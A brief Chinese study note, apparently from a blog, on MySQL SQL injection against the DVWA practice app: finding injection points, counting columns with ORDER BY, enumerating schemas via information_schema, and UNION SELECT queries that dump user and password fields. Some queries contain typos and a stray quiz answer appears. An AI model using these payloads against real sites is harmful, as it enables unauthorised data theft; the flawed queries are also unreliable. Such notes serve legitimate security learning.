MYSQL注入

注入点测试
有接受有错误点 有回显

存在404跳转和报错误–此时网站有检测建议转换其他算法

答案:bc
如题 考虑的是x存在注入点与其他无关
信息收集

注:
MYSQL5.0以上版本存在一个库名information_schema的数据库存储所有数据库的表列名 。
information_schema.tables 记录所有表名
information_schema.columns记录所有列名
table_name表名
columns_name列名
table_schema数据库名
知道站点存在错误
猜测列名数量 order by x 对与错 1,2,3等等
Select * from information_schema.schemata; //爆出数据库
Select table_name from information_schema.tables where table_schema=’dvwa’; //爆出指定数据库dvwa的所有表名
Select column_name from information_schama.columns where table_name=’users’ and table_schema=‘dvwa’;// 爆出dvwa数据库的表users的所有字段名
select (user,password) from dvwa.users; //爆出数据库users内容
union select 1,u,p,4 from ccc.admain#获取指定ccc下的admain数据
782

被折叠的 条评论
为什么被折叠?



